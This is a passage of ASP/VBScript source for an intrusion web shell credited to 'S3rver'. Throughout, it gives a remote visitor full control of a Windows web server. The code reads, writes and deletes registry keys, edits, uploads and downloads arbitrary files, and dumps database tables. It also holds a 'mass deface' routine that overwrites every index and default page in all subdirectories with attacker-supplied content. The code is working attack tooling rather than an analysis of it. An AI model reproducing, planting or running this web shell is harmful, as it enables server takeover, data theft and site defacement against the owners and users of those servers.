Response.Write "<input type=""hidden"" n ame=""process"" value=""yes""></td></tr>" Response.Write "<tr><td></td><td><input type=""submit"" value=""OK""></form></td></tr></table>" Response.Write "<br><br><font face=""ari al"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action= reg"">Main Menu</a><br>" End If Case "r" If Trim(Request.QueryString("process")) = "yes" Then Response.Write "<font face=""arial"" siz e=""2"">" & Trim(Request.QueryString("key")) & "<br>" Response.Write "Value: <b>" & WshShell.R egRead (Trim(Request.QueryString("key"))) Else Response.Write "<FORM action=""" & Reque st.ServerVariables("URL") & """ method=""GET"">" Response.Write "<font face=""arial"" siz e=""1"">KEY: <input type=""text"" name=""key""> <br>( ex.: HKLM\SOFTWARE\Microso ft\Windows\CurrentVersion\ProductId )<br>" Response.Write "<input type=""hidden"" n ame=""regaction"" value=""r"">" Response.Write "<input type=""hidden"" n ame=""action"" value=""reg"">" Response.Write "<input type=""hidden"" n ame=""process"" value=""yes"">" Response.Write "<input type=""submit"" v alue=""OK""></form>" End If Response.Write "<br><br><font face=""arial"" siz e=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Ma in Menu</a><br>" Case "d" If Trim(Request.QueryString("process")) = "yes" Then teste = WshShell.RegDelete (Trim(Request .QueryString("key"))) Response.Write "Chave <b>" & Trim(Reques t.QueryString("key")) & " </b>Deleted." Else Response.Write "<FORM action=""" & Reque st.ServerVariables("URL") & """ method=""GET"">" Response.Write "<font face=""arial"" siz e=""1"">KEY: <input type=""text"" name=""key""> ( ex.: HKLM\SOFTWARE\Microsoft\W indows\CurrentVersion\ProductId )<br>" Response.Write "<input type=""hidden"" n ame=""regaction"" value=""d"">" Response.Write "<input type=""hidden"" n ame=""action"" value=""reg"">" Response.Write "<input type=""hidden"" n ame=""process"" value=""yes"">" Response.Write "<input type=""submit"" v alue=""OK""></form>" End If Response.Write "<br><br><font face=""arial"" siz e=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Ma in Menu</a><br>" Case Else Response.Write "<font face=""arial"" size=""1"">

<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=w" ">WRITE VALUE</a><br><br>" Response.Write "<a href=""" & Request.ServerVari ables("SCRIPT_NAME") & "?action=reg&regaction=r"">READ VALUE</a><br><br>" Response.Write "<a href=""" & Request.ServerVari ables("SCRIPT_NAME") & "?action=reg&regaction=d"">DELETE KEY</a><br>" End Select Set WshShell = Nothing Case "txtview" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp & "<font face=""arial"" si ze=""2"">" file = Replace(Trim(Request.QueryString("file"))," ","\") Set fso = CreateObject("Scripting.FileSystemObject") Set a = fso.OpenTextFile(file) Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCr Lf,"<br>")," ","&nbsp;") Set a = Nothing Set fso = Nothing Case "txtedit" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp If Request.Form.Count = 0 Then file = Replace(Trim(Request.QueryString("file"))," ","\" ) Set fso = CreateObject("Scripting.FileSystemObject") Set a = fso.OpenTextFile(file) Response.Write "<form method=""post"" action=""" & Reque st.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">" Response.Write "<textarea cols='85' rows='25' name=""con tent"" wrap=""physical"" >" & Server.HTMLEncode(a.ReadAll) & "</textarea><br>" Response.Write "<input type=""hidden"" name=""path"" val ue=""" & Trim(Request.QueryString("file")) & """>" Response.Write "<input type=""submit"" name=""savemethod "" value=""Save"">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=""submit"" name=""sa vemethod"" value=""Save as""></form>" Set a = Nothing Set fso = Nothing Else Select Case Trim(Request.Form("savemethod")) Case "Save" Set fso = CreateObject("Scripting.FileSy stemObject") novotexto = Trim(Request.Form("content") ) novotexto = Split(novotexto,vbCrLf) Set objstream = fso.OpenTextFile(Replace (Trim(Request.Form("path"))," ","\"),2) For i = 0 To UBound(novotexto) objstream.WriteLine(novotexto(i) ) Next objstream.Close Set objstream = Nothing Response.Write "Texto salvo: <b>" & Repl ace(Trim(Request.Form("path"))," ","\") & "</b>" Case "Save as" Set fso = CreateObject("Scripting.FileSy

stemObject") novotexto = Trim(Request.Form("content") ) novotexto = Split(novotexto,vbCrLf) caminho = showobjpath(Replace(Trim(Reque st.Form("path"))," ","\")) & "rhtemptxt.txt" Set objstream = fso.CreateTextFile(camin ho,true,false) For i = 0 To UBound(novotexto) objstream.WriteLine(novotexto(i) ) Next objstream.Close Set objstream = Nothing Response.Write "<form method=""post"" ac tion=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">" Response.Write "<input type=""text"" nam e=""filename"" value=""" & showobj(Replace(Trim(Request.Form("path"))," ","\")) & """><br>" Response.Write "<input type=""hidden"" n ame=""path"" value=""" & Trim(Request.Form("path")) & """>" Response.Write "<input type=""submit"" n ame=""savemethod2"" value=""Save""></form>" Case Else caminho = showobjpath(Replace(Trim(Reque st.Form("path"))," ","\")) & "rhtemptxt.txt" Set ObjFSO = CreateObject("Scripting.Fil eSystemObject") Set MyFile = ObjFSO.GetFile(caminho) destino = Left(caminho,InStrRev(caminho, "\")) & Trim(Request.Form("filename")) MyFile.Move (destino) If Err.Number = 0 Then Response.Write "<font face='aria l' size='2'><center><br><br>Arquivo: <b>" & destino & "</b> salvo!" Response.Write "<SCRIPT LANGUAGE =""JavaScript"">self.opener.document.location.reload();</SCRIPT>" End If End Select End If Case "download" Response.Buffer = True Response.Clear strFileName = Replace(Trim(Request.QueryString("file"))," ","\") strFile = Right(strFileName, Len(strFileName) - InStrRev(strFile Name,"\")) strFileType = Request.QueryString("type") if strFileType = "" then strFileType = "application/download" Set fso = Server.CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(strFilename) intFilelength = f.size Set f = Nothing Set fso = Nothing Response.AddHeader "Content-Disposition", "attachment; filename= " & strFile Response.AddHeader "Content-Length", intFilelength Response.Charset = "UTF-8" Response.ContentType = strFileType Set Stream = Server.CreateObject("ADODB.Stream") Stream.Open

Stream.type = 1 Stream.LoadFromFile strFileName Response.BinaryWrite Stream.Read Response.Flush Stream.Close Set Stream = Nothing Case "upload" If Request.QueryString("processupload") <> "yes" Then Response.Write "<FORM METHOD=""POST"" ENCTYPE=""multipar t/form-data"" ACTION=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=upl oad&processupload=yes&path=" & Request.QueryString("path") & """>" Response.Write "<TABLE BORDER=0>" Response.Write "<tr><td><font face=""arial"" size=""2""> <b>Select a file to upload:</b><br><INPUT TYPE=FILE SIZE=50 NAME=""FILE1""></td> </tr>" Response.Write "<tr><td align=""center""><font face=""ar ial"" size=""2""><INPUT TYPE=SUBMIT VALUE=""Upload!""></td></tr>" Response.Write "</TABLE>" Else Set Uploader = New FileUploader Uploader.Upload() If Uploader.Files.Count = 0 Then Response.Write "File(s) not uploaded." Else For Each File In Uploader.Files.Items File.SaveToDisk Replace(Trim(Request.Que ryString("path"))," ","\") Response.Write "File Uploaded: " & File. FileName & "<br>" Response.Write "Size: " & File.FileSize & " bytes<br>" Response.Write "Type: " & File.ContentTy pe & "<br><br>" Response.Write "<SCRIPT LANGUAGE=""JavaS cript"">self.opener.document.location.reload();</SCRIPT>" Next End If End If Case "mass" checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo) On Error Resume Next Set MonRep = ObjFSO.GetFolder(caminhodomass) Set ColFolders = MonRep.SubFolders for each folderItem in ColFolders destino1 = folderItem.path & "\index.htm" destino2 = folderItem.path & "\index.html" destino3 = folderItem.path & "\index.asp" destino4 = folderItem.path & "\index.cfm" destino5 = folderItem.path & "\index.php" destino6 = folderItem.path & "\default.htm" destino7 = folderItem.path & "\default.html" destino8 = folderItem.path & "\default.asp" destino9 = folderItem.path & "\default.cfm" destino10 = folderItem.path & "\default.php" MeuArquivo.Copy(destino1) MeuArquivo.Copy(destino2) MeuArquivo.Copy(destino3)

MeuArquivo.Copy(destino4) MeuArquivo.Copy(destino5) MeuArquivo.Copy(destino6) MeuArquivo.Copy(destino7) MeuArquivo.Copy(destino8) MeuArquivo.Copy(destino9) MeuArquivo.Copy(destino10) Response.Write "<table><tr><td><font face='arial ' size='2'>&lt;DIR&gt; " & folderItem.path & "</td>" If Err.Number = 0 Then Response.Write "<td valign='baseline'>&n bsp;&nbsp;<font face='arial' size='2' color='green'>DONE!</font></td></tr>" Else Response.Write "<td valign='baseline'>&n bsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & " </font></td></tr></table>" End If Err.Number = 0 Response.Flush If metodo = "brute" Then Call themassdeface(folderItem.path & "\" ,"brute",ObjFSO,MeuArquivo) End If next End Sub Sub brutemass(caminho,massaction) If massaction = "test" Then On Error Resume Next Set MonRep = ObjFSO.GetFolder(caminho) Set ColFolders = MonRep.SubFolders Set ColFiles0 = MonRep.Files for each folderItem in ColFolders Set TotalFolders = ObjFSO.GetFolder(fold erItem.path) Set EachFolder = TotalFolders.SubFolders Response.Write "<table border=""0"" cell spacing=""0"" cellpadding=""0"" >" maindestino = folderItem.path & "\" MeuArquivo.Copy(maindestino) Response.Write "<tr><td><b><font face='a rial' size='2'>&lt;DIR&gt; " & maindestino & "</b></td>" If Err.Number = 0 Then Response.Write "<td valign='base line'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</fo nt></td></tr>" Else Response.Write "<td valign='base line'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Descript ion) & "</font></td></tr>" End If Err.Number = 0 Response.Flush If EachFolder.count > 0 Then masscontador = 0 for each subpasta in EachFolder masscontador = massconta dor + 1 destino = subpasta.path & "\" If masscontador = 1 Then

destinofinal = d estino pathfinal = subp asta.path Err.Number = 0 MeuArquivo.Copy( destinofinal) Response.Write " <tr><td><font face='arial' size='2'>&lt;DIR&gt; " & showobj(pathfinal) & "</td>" If Err.Number = 0 Then Response .Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='gre en'>Acesso Permitido</font></td></tr>" Else Response .Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red '>" & UCase(Err.Description) & "</font></td></tr>" End If Err.Number = 0 Response.Flush Else MeuArquivo.Copy( destino) Response.Write " <tr><td><font face='arial' size='2'>&lt;DIR&gt; " & showobj(subpasta.path) & "</ td>" If Err.Number = 0 Then Response .Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='gre en'>Acesso Permitido</font></td></tr>" Else Response .Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red '>" & UCase(Err.Description) & "</font></td></tr>" End If Err.Number = 0 Response.Flush End If next masscontador = 0 End If Response.Write "</table><br>" Call brutemass(folderItem.path & "\","te st") next Set MonRep = Nothing Set ColFolders = Nothing Set ColFiles0 = Nothing Else If Request.Form.Count = 0 Then Response.Write "<font face=""arial"" siz e=""2""><br><br><b>Brute:</b> Test and Deface root and sub directories.<br><br>" Response.Write "<b>Single:</b> Test and deface only root directories.<br><br>" Response.Write "<form method=""post"" ac tion=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc""> " Response.Write "<input type=""hidden"" n

ame=""path"" value=""" & Trim(Request.QueryString("path")) & """>" Response.Write "<center><font face=""ari al"" size=""2"">Deface Code:<br>" Response.Write "<textarea cols='65' rows ='15' name=""content""></textarea><br>" Response.Write "<input type=""radio"" na me=""massopt"" value=""brute"" checked>Brute&nbsp;&nbsp;&nbsp;" Response.Write "<input type=""radio"" na me=""massopt"" value=""single"">Single<br>" Response.Write "<input type=""submit"" v alue=""Deface ALL!""></center>" Response.Write "</form>" Else Set ObjFSO = CreateObject("Scripting.Fil eSystemObject") patharquivotxt = Left(Server.MapPath(Req uest.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVaria bles("SCRIPT_NAME")),"\")) arquivomassdfc = patharquivotxt & "teste .txt" Set Arquivotxt = ObjFso.OpenTextFile(arq uivomassdfc, 2, True, False) vetordelinhas = Split(Request.Form("cont ent"),VbCrLf) For i = 0 To UBound(vetordelinhas) Arquivotxt.WriteLine(vetordelinh as(i)) Next Set MeuArquivo = ObjFSO.GetFile(arquivom assdfc) If Request.Form("massopt") = "single" Th en Call themassdeface(caminho,"sing le",ObjFSO,MeuArquivo) ElseIf Request.Form("massopt") = "brute" Then Call themassdeface(caminho,"brut e",ObjFSO,MeuArquivo) End If End If End If End Sub If Trim(Request.QueryString("massact")) = "test" Then Set ObjFSO = CreateObject("Scripting.FileSystemObject") patharquivotxt = Left(Server.MapPath(Request.ServerVaria bles("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAM E")),"\")) arquivo = patharquivotxt & "_vti_cnf.log" Set Arquivotxt = ObjFSO.CreateTextFile(arquivo,True) Set MeuArquivo = ObjFSO.GetFile(arquivo) Call brutemass(Replace(Trim(Request.QueryString("path")) ," ","\"),"test") ElseIf Trim(Request.QueryString("massact")) = "dfc" Then Call brutemass(Replace(Trim(Request.Form("path"))," ","\ "),"dfc") End If Case "fcopy" If Trim(Request.Form("submit1")) = "Copy" Then mptpath=Trim(Request.Form("path"))

mptdest=Trim(Request.Form("cf")) Set ObjFSO = CreateObject("Scripting.FileSystemObject") isl = "" if Trim(Request.Form("islem"))="kopyala" then objFSO.CopyFolder mptpath,mptdest isl="Copied.." elseif Trim(Request.Form("islem"))="tasi" then objFSO.MoveFolder mptpath,mptdest isl="moved.." end if response.Write "Command: "&isl response.Write "<br><font color=red>File From: </font>" & mptpat h & "<br><font color=red>Copy to: </font>" & mptdest response.Write "<br>" Else Response.Write "<form method=""post"" action=""" & Request.Serve rVariables("SCRIPT_NAME") & "?action=fcopy"">" Response.Write "<table cellpadding=0 cellspacing=0 align=center> <tr><td width=100><font size=2>Copy Path : </td><td>" Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"& Replace(Trim(Request.QueryString("path"))," ","\") &"' na me=path><input type=hidden value='"&time&"' name=Time>" Response.Write "<input style='width:250; height:21' value='"& Re place(Trim(Request.QueryString("path")) & "\"," ","\") &"' name=cf>" response.Write "<input type=submit value='Copy' style='height:22 ;width:70' id=submit1 name=submit1>" Response.Write "</td></tr><tr><td colspan=3 align=center><font s ize=2>" response.Write "<input type=radio name='islem' value='kopyala' c hecked>Copy" response.Write "<input type=radio name='islem' value='tasi'>Move " response.Write "</table>" response.Write "</form>" End IF Case "filecopy" If Trim(Request.Form("submit1")) = "Copy" Then mptpath=Trim(Request.Form("path")) mptdest=Trim(Request.Form("cf")) Set ObjFSO = CreateObject("Scripting.FileSystemObject") isl = "" if Trim(Request.Form("islem"))="kopyala" then objFSO.CopyFile mptpath,mptdest isl="Copy.." elseif Trim(Request.Form("islem"))="tasi" then objFSO.MoveFile mptpath,mptdest isl="move.." end if response.Write "Command: "&isl response.Write "<br><font color=red>File From: </font>" & mptpat h & "<br><font color=red>Copy to: </font>" & mptdest response.Write "<br>" Else Response.Write "<form method=""post"" action=""" & Request.Serve rVariables("SCRIPT_NAME") & "?action=filecopy"">" Response.Write "<table cellpadding=0 cellspacing=0 align=center> <tr><td width=100><font size=2>Copy Path : </td><td>"

Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"& Replace(Trim(Request.QueryString("file"))," ","\") &"' na me=path><input type=hidden value='"&time&"' name=Time>" Response.Write "<input style='width:250; height:21' value='"& Re place(Trim(Request.QueryString("file"))," ","\") &"' name=cf>" response.Write "<input type=submit value='Copy' style='height:22 ;width:70' id=submit1 name=submit1>" Response.Write "</td></tr><tr><td colspan=3 align=center><font s ize=2>" response.Write "<input type=radio name='islem' value='kopyala' c hecked>Copy" response.Write "<input type=radio name='islem' value='tasi'>Move " response.Write "</table>" response.Write "</form>" End IF Case "search" If (Trim(Request.Form("submit1")) = "Search") xor Trim(Request.QueryStr ing("status"))<>"" Then showdisks=FALSE status5=Trim(Request.Form("status")) if status5="" then status5=Trim(Request.QueryString("status")) SELECT CASE status5 CASE "5" Response.Write "<center><b><font color=orange>"& Trim(Re quest.QueryString("path")) &"</font></b></center><br>" Response.Write "<table width=100% ><tr><td>" set f = objFSO.OpenTextFile(Trim(Request.QueryString("pa th")),1) Response.Write "<pre>"&Server.HTMLEncode(f.readAll)&"</p re>" if err.number=62 then Response.Write "<script language=j avascript>alert('Bu Dosya Okunamiyor\nSistem dosyasi olabilir')</script>":Respon se.End

CASE "7": Response.Write "<b><font size=3>Tables</font></br><br>" Set objConn = Server.CreateObject("ADODB.Connection") Set objADOX = Server.CreateObject("ADOX.Catalog") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Trim(Request.QueryString("pat h")) objConn.Open objADOX.ActiveConnection = objConn For Each table in objADOX.Tables If table.Type = "TABLE" Then Response.Write "<font face=wingdings siz e=5>4</font> <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search &status=8&Path="& Trim(Request.QueryString("path")) &"&table="&table.Name&"'>"&t able.Name&"</a><br>" End If Next CASE "8":

table=Trim(Request.QueryString("table")) Response.Write "<font color=red><h4>Table Name: " & tabl e & "</h4></font><br><Br><br>" Set objConn = Server.CreateObject("ADODB.Connection") Set objRcs = Server.CreateObject("ADODB.RecordSet") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Trim(Request.QueryString("pat h")) objConn.Open objRcs.Open table,objConn, adOpenKeyset , , adCmdText Response.Write "<table border=1 cellpadding=2 cellspacin g=0 bordercolor=543152><tr bgcolor=silver>" for i=0 to objRcs.Fields.count-1 Response.Write "<td><font color=black><b>&nbsp;& nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>" next Response.Write "</tr>" do while not objRcs.EOF Response.Write "<tr>" for i=0 to objRcs.Fields.count-1 Response.Write "<td>"&objRcs.Fields(i).V alue&"&nbsp;</td>" next Response.Write "</tr>" objRcs.MoveNext loop Response.Write "</table><br>" case "12": araBul Trim(Request.Form("path")),Trim(Request.Form( "arama")) END SELECT Else showdisks=FALSE checa = checking(cprthtml,keydec) Call hdr() Response.Write "<form method=""post"" target=""_opener"" action= """ & Request.ServerVariables("SCRIPT_NAME") & "?action=search"">" Response.Write "<table widht='100%' border=0 cellpadding=0 cells pacing=0><tr><td width=70><font size=2>File Ext: </td><td>" Response.Write "&nbsp;<input type=hidden value='12' name=status> " Response.Write "<input type=hidden value=""" & Replace(Trim(Requ est.QueryString("path"))," ","\") & """ name=""path""><input style='width:250' v alue='mdb' name='arama'><input style='width:70; height:22' type=submit value='Se arch' name='submit1'>" Response.Write "</td></tr></table></form>" End IF

Case "sqlserver" If (Trim(Request.Form("submit1")) = "Execute SQL Server Command") xor T rim(Request.QueryString("status"))<>"" Then showdisks=FALSE status5=Trim(Request.Form("status")) if status5="" then status5=Trim(Request.QueryString("status"))

SELECT CASE status5 CASE "7": Response.Write "<b><font size=3>Tables</font></br><br>" Set objConn = Server.CreateObject("ADODB.Connection") Set objADOX = Server.CreateObject("ADOX.Catalog") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Trim(Request.QueryString("pat h")) objConn.Open objADOX.ActiveConnection = objConn For Each table in objADOX.Tables If table.Type = "TABLE" Then Response.Write "<font face=wingdings siz e=5>4</font> <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search &status=8&Path="& Trim(Request.QueryString("path")) &"&table="&table.Name&"'>"&t able.Name&"</a><br>" End If Next CASE "8": table=Trim(Request.QueryString("table")) Response.Write "<font color=red><h4>Table Name: " & tabl e & "</h4></font><br><Br><br>" Set objConn = Server.CreateObject("ADODB.Connection") Set objRcs = Server.CreateObject("ADODB.RecordSet") objConn.Provider = "Microsoft.Jet.Oledb.4.0" objConn.ConnectionString = Trim(Request.QueryString("pat h")) objConn.Open objRcs.Open table,objConn, adOpenKeyset , , adCmdText Response.Write "<table border=1 cellpadding=2 cellspacin g=0 bordercolor=543152><tr bgcolor=silver>" for i=0 to objRcs.Fields.count-1 Response.Write "<td><font color=black><b>&nbsp;& nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>" next Response.Write "</tr>" do while not objRcs.EOF Response.Write "<tr>" for i=0 to objRcs.Fields.count-1 Response.Write "<td>"&objRcs.Fields(i).V alue&"&nbsp;</td>" next Response.Write "</tr>" objRcs.MoveNext loop Response.Write "</table><br>" END SELECT Else showdisks=FALSE checa = checking(cprthtml,keydec) Call hdr()

Response.Write "<form method=""post"" target=""_opener"" action= """ & Request.ServerVariables("SCRIPT_NAME") & "?action=sqlserver"">" Response.Write "<table cellpadding=0 cellspacing=0 align=center> <tr><td align=center><font size=2>SQL Server connection string:</td></tr><tr><td align=center>" Response.Write "<input type=hidden value='7' name=status>" Response.Write "<input style='width:250; height:21' value='' nam e=path><br>" response.Write "<input type=submit value='Execute SQL Server Com mand' style='height:23;width:220' id=submit1 name=submit1>" Response.Write "</td></tr></table>" response.Write "</form>" End IF

Case "about" showdisks=FALSE checa = checking(cprthtml,keydec) Call hdr() response.Write "<br><br><br><body topmargin=5 leftmargin=0><cent er><h4>Coded By S3rver" response.Write "<br><br>" response.Write "<font size=2 color=Red face='courier new'>WebSit e: :)</font>" response.Write "<br>" response.Write "<font size=2 color=Red face='courier new'>E-Mail : Pouya.S3rver@Gmail.Com</font>" response.Write "<br><br>" response.Write "<font size=2 color=Blue face='courier new'>Hacke rs, Crackers, Programmers Forever!</font>" Case Else checa = checking(cprthtml,keydec) Call hdr() Response.Write copyright & onlinehelp Call showcontent() End Select If Err.Number <> 0 Then Response.Write "<br><font face='arial' size='2'>ERRO: " & Err.Number & " <br><br><b>" & UCase(Err.Description) & "</b><br>Acesse denied." End If Response.Write endcode if showdisks then %> <script language=javascript> // DRIVE ISLEMLERI function driveGo(drive_){ location = "?raiz="+drive_+":"; } </script> <%

Set objFSO = Server.CreateObject("Scripting.FileSystemObject") Response.Write "<br><br><br><table align=center border=1 width=150 cellp adding=0 cellspacing=0><tr bgcolor=gray><td align=center><b><font color=white>Dr ives</td></tr>" for each drive_ in objFSO.Drives Response.Write "<tr><td>" Response.write "<a href='#'onClick=""driveGo('" & drive_.DriveLe tter & "');return false;""><font face=wingdings>;</font>" if drive_.Drivetype=1 then Response.write "Floppy [" & drive_.Dr iveLetter & ":]" if drive_.Drivetype=2 then Response.write "HardDisk [" & drive_. DriveLetter & ":]" if drive_.Drivetype=3 then Response.write "Remote HDD [" & drive _.DriveLetter & ":]" if drive_.Drivetype=4 then Response.write "CD-Rom [" & drive_.Dr iveLetter & ":]" Response.Write "</a></td></tr>" next Response.Write "<tr><td>" Response.write "<a href='"& Request.ServerVariables("SCRIPT_NAME") & "'> <font face=webdings>H</font> Local Path" Response.Write "</a></td></tr>" Response.Write "</table><br>" end if %>

You might also like